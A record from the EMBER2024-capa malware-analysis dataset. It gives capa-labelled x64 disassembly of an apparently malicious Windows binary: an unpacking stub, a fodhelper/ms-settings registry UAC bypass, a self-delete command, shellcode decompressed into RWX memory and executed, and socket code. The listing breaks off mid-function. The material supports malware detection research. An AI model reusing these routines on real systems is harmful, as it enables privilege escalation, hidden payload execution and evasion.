joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140f871a0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140f871ad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140f871bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140f871a5
lea eax, [rcx + 1]
jmp 0x140f871cb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140f871de
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140f871c4
sub eax, 3
jb 0x140f871fe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140f8724d
sar eax, 1
movsxd rbp, eax
jb 0x140f87234
jmp 0x140f8720c
add ebx, ebx
jne 0x140f8720a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140f87234
inc ecx
add ebx, ebx
jne 0x140f8721a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140f87234
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140f8722d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140f8721c
add ecx, 2
jmp 0x140f87239
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140f87162
jmp 0x140f871ad
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0xf80000]
mov eax, dword [rdi]
or eax, eax
je 0x140f872ad
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf874ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140f8725d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140f872a7
mov qword [rbx], rax
add rbx, 8
jmp 0x140f8727d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140f872f1
cmp al, 0xef
ja 0x140f872d9
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140f872b9
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x140f872c8
mov eax, dword [rdi]
add rdi, 4
jmp 0x140f872c8
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140f87370], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140f87370
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140f87360
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x140001000
Capabilities:
Create process on windows
Delete registry key
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm1, xmm1
lea r8, [rsp + 0x50]
movups xmmword [rsp + 0x70], xmm1
xor eax, eax
lea rdx, str.SoftwareClassesms_settingsShellopencommand
movups xmmword [r11 - 0x48], xmm1
mov qword [r11 - 0x28], rax
xor edi, edi
movups xmmword [r11 - 0x78], xmm1
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x68], rax
movups xmmword [r11 - 0x68], xmm1
movups xmmword [r11 - 0x58], xmm1
movups xmmword [r11 - 0x38], xmm1
mov dword [rsp + 0x70], 0x68
xorps xmm0, xmm0
mov word [r11 - 0x48], di
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov rcx, qword [rsp + 0x50]
lea rax, str.cmd.exe
lea rbx, [0x1400022a8]
mov dword [rsp + 0x28], 7
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
lea rdx, str.DelegateExecute
mov r9d, 1
mov dword [rsp + 0x28], 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, str._c_C:WindowsSystem32_fodhelper.exe
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rcx, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.SoftwareClassesms_settings
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001170
mov rbx, qword [rsp + 0x100]
add rsp, 0xf0
pop rdi
ret

Function at 0x140001a38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a82
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a84
xor al, al
add rsp, 0x28
ret
Function at 0x140001580
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x418
mov rax, qword [0x140340320]
xor rax, rsp
mov qword [rsp + 0x400], rax
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001668
lea rax, [rsp + 0xe0]
mov r9d, 0x19
lea r8, str.cmd__c_timeout__T__d__NOBREAK__del___s_
mov qword [rsp + 0x20], rax
mov edx, 0x208
lea rcx, [rsp + 0x1f0]
call fcn.140001440
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call sub.msvcrt.dll_memset
xor eax, eax
mov dword [rsp + 0x70], WSAGetLastError
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x1f0]
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001668
mov rcx, qword [rsp + 0x50]
call qword [fcn.140001824]
mov rcx, qword [rsp + 0x58]
call qword [fcn.140001824]
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.1401e6380
add rsp, 0x418
ret

Function at 0x140001680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, qword [section..textshe]
test rdi, rdi
je 0x14000174a
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000174a
mov r9d, edi
mov r8d, 0x12d463
mov rdx, rax
lea rcx, [0x140364008]
call sym.ConsoleApplication1.exe_LZ4_decompress_safe
test eax, eax
jns 0x1400016db
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
jmp 0x14000174a
movsxd rsi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400016d0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
nop
call rdi
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000174f
mov eax, 1
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140002970
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x60
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp dword [rcx + 0x118], 6
jae 0x140002ab2
xor edi, edi
cmp qword [0x1403406e0], rdi
jne 0x140002aa9
bt qword [0x1401f7978], 0
lea rdx, str.NtOpenKeyedEvent
lea rcx, [0x140339080]
call fcn.140002fec
mov rbx, rax
test rax, rax
jne 0x1400029db
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov ecx, 0xc0000264
call qword [sym.imp.KERNEL32.dll_RaiseException]
or rcx, 0xffffffffffffffff
lea r9, str.KernelObjectsCritSecOutOfMemoryEvent
mov rax, r9
mov rdx, rdi
lea r8d, [rcx + 3]
cmp word [rax], di
je 0x140002a01
inc rdx
add rax, r8
sub rcx, 1
jne 0x1400029f0
lea rcx, [rdx + rdx]
mov qword [rsp + 0x28], r9
mov edx, 0xffff
mov dword [rsp + gethostbyname], 0x30
cmp rcx, rdx
mov qword [rsp + 0x38], rdi
movzx eax, cx
cmova ax, dx
mov word [rsp + 0x20], ax
lea rax, [rcx + 2]
add cx, r8w
lea r8, [rsp + 0x30]
cmp rax, rdx
lea rax, [rsp + 0x20]
mov qword [rsp + 0x40], rax
cmova cx, dx
xor eax, eax
mov word [rsp + 0x22], cx
mov edx, 0x2000000
movaps xmm0, xmmword [rsp + 0x20]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
call rbx
test eax, eax
jns 0x140002a8d
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xc0000264
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_RaiseException]
mov rcx, qword [rsp + 0x70]
xor eax, eax
lock cmpxchg qword [0x1403406e0], rcx
je 0x140002aa9
mov rcx, qword [rsp + 0x70]
call fcn.140001824
mov rax, qword [0x1403406e0]
jmp 0x140002ab4
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x1400030d4
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x240
xor r12d, r12d
mov r15d, r8d
xor eax, eax
mov rbx, rdx
mov rsi, rcx
lock cmpxchg qword [rcx], r12
je 0x14000313b
or rdi, 0xffffffffffffffff
cmp rax, rdi
jne 0x14000311a
xor eax, eax
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
or rdi, 0xffffffffffffffff
mov qword [rbp + 0x188], r12
test r15b, 1
je 0x14000315a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x14000329f
bt qword [0x1401f79c0], 0
lea rdx, str.LoadLibraryExW
lea rcx, [0x1403390c8]
call fcn.140002fec
mov r14, rax
test rax, rax
je 0x140003118
mov r13d, 2
test r13b, r15b
je 0x140003191
mov r8d, r13d
jmp 0x140003297
test r15b, 4
je 0x14000319f
xor r8d, r8d
jmp 0x140003297
bt qword [0x1401f7998], 0
lea rdx, str.AddDllDirectory
lea rcx, [0x1403390a0]
call fcn.140002fec
test rax, rax
jne 0x140003291
bt qword [0x1401f7990], 0
lea rdx, str.LdrLoadDll
lea rcx, [0x140339098]
call fcn.140002fec
mov r15, rax
test rax, rax
je 0x140003118
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call sub.msvcrt.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec eax
cmp eax, 0x102
ja 0x140003197
mov rdx, rdi
mov rax, rbx
mov rcx, r12
test rbx, rbx
je 0x140003237
cmp word [rax], r12w
je 0x140003237
inc rcx
add rax, r13
sub rdx, 1
jne 0x140003225
add rcx, rcx
mov qword [rsp + 0x28], rbx
movzx eax, cx
lea r9, [rbp + 0x188]
mov edx, 0xffff
lea r8, [rsp + 0x20]
cmp rcx, rdx
cmova ax, dx
mov word [rsp + 0x20], ax
lea rax, [rcx + 2]
add cx, r13w
cmp rax, rdx
cmova cx, dx
xor edx, edx
mov word [rsp + 0x22], cx
lea rcx, [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call r15
mov rax, qword [rbp + 0x188]
jmp 0x1400032a6
mov r8d, 0x800
xor edx, edx
mov rcx, rbx
call r14
mov qword [rbp + 0x188], rax
test rax, rax
jne 0x1400032b3
xchg qword [rsi], rdi
jmp 0x140003118
xchg qword [rsi], rax
test rax, rax
je 0x1400032c8
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbp + 0x188]
jmp 0x14000311a
Function at 0x14000f070
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
xor ebx, ebx
mov dword [rax - 0x38], 0x1c
mov rdi, r8
mov rsi, rdx
lea r8, [rax - 0x38]
mov r14, r9
lea rdx, [rax - 0x30]
mov word [rax - 0x30], bx
cmp dword [rsp + 0x80], ebx
je 0x14000f0b4
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x14000f0ba
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x14000f0c2
xor eax, eax
jmp 0x14000f13c
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [r14], ax
lea rcx, [rsp + 0x30]
movzx eax, word [rsp + 0x28]
mov r8, rsi
movsxd r9, dword [rdi]
lea rdx, [rsp + 0x2c]
cmp eax, 2
cmovne rdx, rcx
mov ecx, eax
call fcn.140002568
test rax, rax
je 0x14000f117
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov ebx, 1
mov dword [rdi], eax
jmp 0x14000f135
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x14000f135
cmp bp, 2
mov ecx, reloc.WS2_32.dll_shutdown
mov eax, 0x41
cmovne ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x14000f3a0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
mov rcx, rbx
lea rdx, [rsp + 0x44]
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
mov qword [rsp + 0x28], 0
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov r9d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rdi + 0x10], rax
mov rcx, rax
test rax, rax
jne 0x14000f41e
call fcn.14000d6e0
jmp 0x14000f486
test rsi, rsi
jne 0x14000f431
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x14000f435
mov qword [rdi + 8], rsi
mov rax, qword [rdi + 8]
mov r9d, ebp
mov edx, dword [rsp + 0x68]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov dword [rdi + 0x20], edx
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x14000f484
call fcn.14000d6e0
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [fcn.140001824]
mov eax, ebx
mov qword [rdi + 0x10], 0
jmp 0x14000f486
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000f4a0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov r10, rcx
mov edi, r9d
mov rcx, qword [rdx + 8]
xor eax, eax
mov rsi, r8
mov rbx, rdx
test rcx, rcx
je 0x14000f4f4
mov qword [rsp + 0x38], rax
lea r9d, [rax + 1]
mov dword [rsp + 0x30], 0x80
mov r8d, 0x80000000
mov dword [rsp + 0x28], 3
mov rdx, r10
mov qword [rsp + 0x20], rax
call fcn.14000eb90
jmp 0x14000f51e
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r10
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000f53d
call fcn.14000d6e0
test eax, eax
jns 0x14000f540
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rbx], rax
mov rcx, qword [rbx]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x58], eax
cmp eax, 0xffffffff
jne 0x14000f560
call fcn.14000d6e0
test eax, eax
js 0x14000f5b2
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x14000f5a0
cmp rax, rdi
ja 0x14000f5a0
mov rdx, qword [rbx]
xor r9d, r9d
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.14000f3a0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
test rax, rax
mov ecx, 0x800700df
mov edx, 0x800703ee
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000f660
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x14000f680
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x48]
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000f6b0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov dword [rsp + 0x50], 1
mov rdi, rcx
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x14000f6d8
lea r9, [rsp + 0x50]
jmp 0x14000f6e2
cmp edx, 1
jne 0x14000f72b
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x14000f77e
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x14000f7c0
Capabilities:
Get socket status

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [0x140340320]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r8d, edx
mov qword [rsp + 0x258], rcx
mov eax, 0x10624dd3
mov qword [rsp + 0x48], rcx
mul edx
mov rbx, rcx
mov dword [rsp + 0x250], 1
shr edx, 6
lea r9, [rsp + 0x40]
imul eax, edx, 0x3e8
xor ecx, ecx
mov dword [rsp + 0x38], edx
xor edx, edx
mov dword [rsp + 0x40], 1
sub r8d, eax
imul eax, r8d, 0x3e8
lea r8, [rsp + 0x250]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x14000f866
jne 0x14000f854
mov eax, 0x5b4
jmp 0x14000f8d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x22a
cmove eax, ecx
jmp 0x14000f8d7
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.WS2_32.dll___WSAFDIsSet
mov rcx, rbx
test eax, eax
je 0x14000f8c8
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 4
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14000f8b2
mov ecx, dword [rsp + 0x34]
lea eax, [rcx + 1]
cmp eax, 1
ja 0x14000f8c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x22a
test eax, eax
cmove eax, ecx
mov ecx, eax
mov eax, ecx
jmp 0x14000f8d7
lea rdx, [rsp + 0x250]
call sub.WS2_32.dll___WSAFDIsSet
xor eax, eax
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1401e6380
add rsp, 0x470
pop rbx
ret
Function at 0x14000fec0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edi, edi
mov rsi, rdx
mov rbx, rcx
test r8d, r8d
je 0x14000ff4c
mov rdx, qword [rcx + 0x30]
lea r8d, [rdi + 0x30]
mov rcx, qword [rcx + 0x28]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14001000a
cmp word [rsi], 2
mov eax, 0x1c
mov rcx, qword [rbx + 0x28]
mov r8d, reloc.WS2_32.dll_recv
cmovne r8d, eax
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000ff35
cmp eax, 0xffffffff
jne 0x14001000a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14001000a
mov edi, 1
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rcx + 0x28]
mov edx, 1
call fcn.14000f660
test eax, eax
jne 0x14001001c
cmp word [rsi], 2
mov eax, 0x1c
mov rcx, qword [rbx + 0x28]
mov r8d, reloc.WS2_32.dll_recv
cmovne r8d, eax
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
mov esi, eax
test eax, eax
je 0x14000ff95
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
jne 0x14001000a
cmp esi, 0xffffffff
jne 0x14000ffa8
mov edx, dword [rbx + 0x44]
mov rcx, qword [rbx + 0x28]
call fcn.14000f7c0
mov esi, eax
test esi, esi
jne 0x140010002
mov rdx, qword [rbx + 0x30]
lea r8d, [rsi + 0x23]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14001000a
mov dword [rbx + 0x70], 1
xor ecx, ecx
mov dword [rbx + 0x74], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x180]
cmp eax, 2
jne 0x14000ff35
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov ecx, eax
jmp 0x140010004
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov ecx, 0x80004005
call fcn.14000d700
int3

Function at 0x1400101a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rcx + 0x68]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edi, edi
lea r8, [0x140011150]
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call sub.msvcrt.dll__beginthreadex
test rax, rax
mov qword [rbx + 0x60], rax
mov rbx, qword [rsp + 0x40]
setne dil
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x1400101f0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, dword [rdx + 0x30]
mov r14, r8
mov rsi, rdx
mov rdi, rcx
sub eax, dword [rdx + 0x28]
je 0x140010296
nop dword [rax + rax]
mov r8d, dword [rdi + 0x48]
cmp eax, r8d
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rdi + 0x28]
cmovl r8d, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ebp, eax
test eax, eax
jle 0x140010289
lea rcx, [rdi + 0x190]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rdi + 0x1f0], ebp
lea rcx, [rdi + 0x190]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rdi]
mov r8d, ebp
mov rdx, qword [rsi + 0x28]
mov rcx, rdi
call qword [rax + 0x190]
mov edx, ebp
mov rcx, rsi
call fcn.14000e850
jmp 0x14001028e
cmp ebp, 0xffffffff
je 0x1400102b6
mov eax, dword [rsi + 0x30]
sub eax, dword [rsi + 0x28]
jne 0x140010220
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1400102cc
mov dword [r14], 1
jmp 0x140010296
mov dword [rdi + 0x20], eax
xor eax, eax
mov dword [rdi + 0x18], 1
mov dword [rdi + 0x1c], 3
mov dword [rdi + 0x24], 1
jmp 0x14001029b

Function at 0x140010810
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x1f4]
mov rbx, rcx
test eax, eax
jne 0x1400108fe
nop dword [rax + rax]
mov r8d, dword [rbx + 0x48]
xor r9d, r9d
mov rdx, qword [rbx + 0x88]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x1400108a7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rbx]
mov r8d, edi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call qword [r9 + 0x1a0]
cmp eax, 2
